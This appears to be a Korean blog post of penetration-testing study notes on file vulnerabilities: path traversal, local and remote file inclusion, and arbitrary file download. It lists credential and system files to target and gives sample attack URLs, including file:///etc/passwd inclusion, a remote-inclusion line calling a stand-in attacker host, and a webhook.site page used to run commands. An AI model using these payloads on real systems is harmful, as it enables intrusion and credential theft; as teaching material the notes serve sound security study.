File Vulnerability⭐

유서정·2024년 5월 1일
0

모의해킹

목록 보기
5/6

FILE 취약점

파일 시스템에서 발생하는 취약점 유형

민감 정보 및 시스템 정보 접근(탈취), 악성코드 삽입으로 원격 코드 실행 등의 공격 수행
▪ 웹 서비스에서 이미지, 정보 등의 파일 업로드 및 다운로드하는 기능에서 발생하는 취약점
▪ 파일 취약점을 이용해, 서버 내 소스코드, 시스템 파일을 다운로드하고 악성코드 삽입으로 원격코드 실행 등의 악성 행위를 수행

FILE 취약점 유형

Path Traversal

경로 탐색 취약점
웹 서비스 접근시, 접근 경로를 조작하여 정상 범위(웹 루트 디렉토리)를 벗어나 서버 파일에 접근하거나 조작할 수 있는 취약점

❗파일시스템 API 호출에 제한 및 검증이 없는 경우 발생

▪ 파일 업로드 시 특정 디렉토리에 대한 업로드 제한이 없는 경우, 해당 취약점을 이용해 임의 경로를 지정해 파일을 업로드할 수 있다.
▪ 이용자의 입력에 의해 발생하며, 파일 및 접근 경로를 조작해 상위 디렉토리로 이동해 디렉토리 및 민감 파일에 접근할 수 있다.
(민감파일은 시스템 파일일 수 있으며, 그 외 모든파일에해당)

공격방법

상대 경로 표기법을 이용한, 파일 경로 조작으로 시스템 파일 접근
※ 시작 점이 documentroot 파일이 존재하는 웹 루트 디렉토리이기때문에 절대경로는 먹히지 않음

시스템 파일 및 설명

경로설명
/etc/passwd모든 사용자 계정 정보 저장(비밀번호 제외)
/etc/shadow암호화된 비밀번호 정보 저장
/etc/group모든 그룹 정보 저장
/etc/hostsHOST와 IP 매핑 정보 저장
/proc/self/environ현재 실행 중인 프로세스 환경변수 정보 저장
/home/$USER/.bash_history사용자가 입력한 명령어 기록 저장

File Inclusion

웹 서비스에서 파일을 포함하는 경우 발생하는 취약점

로컬/원격 서버의 파일을 읽거나, 로컬/원격서버 파일을 불러와 실행할 수 있다.

포함시키는 스크립트파일 내용에 따라 XSS 공격을 실행할 수도 있음

File Inclusion vs 파일 업·다운로드 취약점
파일 업다운로드는, 업다운로드 기능이 있어야 함
file inclusion은 단순 조회 기능을 이용하여 url에 악성스크립트를 포함시킨다음 실행되게 만듦

  • Local File Inclusion (LFI)

    ▪ 서버의 로컬 파일을 포함하는 취약점
    ▪ 파일 포함 함수에 의해 직접 입력값을 전달할 경우 발생
    ▪ 로컬 서버에서 스크립트 파일을 읽거나 실행이 가능하며, 시스템 파일에 접근 가능
    #https://URL/?file1=./test.php

    File URI scheme

    파일 스키마 : file://host/path

    file://localhost/etc/fstab
    file:///etc/fstab
    https://www.kisia.or.kr?file_inclusion=file:///etc/passwd

    host 부분이 생략되면 localhost로 매핑

    #로컬 파일 접근 시, 시스템 파일 접근

    https://www.kisia.or.kr?file_inclusion=file:///etc/passwd

  • Remote File Inclusion (RFI)

    ▪ 원격 파일을 포함해 조작 가능한 취약점
    ▪ 파일 포함 함수 설정으로 인해, 외부 URL 파일을 허용한 경우 발생
    ▪ 원격 서버에 악성코드를 실행 가능
    http://example.com/index.php?page=http://atacker.com/mal.php

    #원격 파일 실행을 통한, 악성 스크립트 및 원격 코드 실행

    Webhook 사이트에서 공격자 서버 대용으로 사용할 시스템함수를 포함한 페이지 생성

    url주소: https://webhook.site/540ad1cd-f3a7-4ece-8fb3-6303d41e456e

    file 파라미터에 해당 url 입력하면 ls 함수 실행

    https://www.kisia.or.kr?file_inclusion=https://webhook.site/540ad1cd-f3a7-4ece-8fb3-6303d41e456e

File Download

서버에 업로드 된 파일을 다운로드 받을 수 있게 만들어진 서비스를 이용하여,
정해진 파일이 아닌 다른 파일(시스템 파일, 소스 코드 파일 등)을 다운로드 받을 수 있는 취약점

➡️ 외부(사용자) 입력값 중 경로조작에 사용될 수 있는 문자에 대한 필터링 부재로, 예상 밖의 허가되지 않은 영역에 접근이 가능해져 시스템 정보 누출, 서비스 장애 등을 유발할 수 있는 취약점

※ 파일 이름 지정 및 Path Traversal을 이용해 다른 디렉터리 및 파일에 접근

웹 서비스 파일 다운로드 시, 취약점

https://www.kisia.or.kr/download/?filename={시스템 및 임의 파일}

▪ 자료실, 게시글 등 파일이 업로드 되어있는 기능을 이용해서 파일을 다운로드
▪ 파일 다운로드 시, 경로 및 파일명 조작으로 임의 파일을 다운로드
▪ 해당 취약점으로 인해, 소스코드 탈취 취약점이 발생 (File Leakage)

profile
information security

0개의 댓글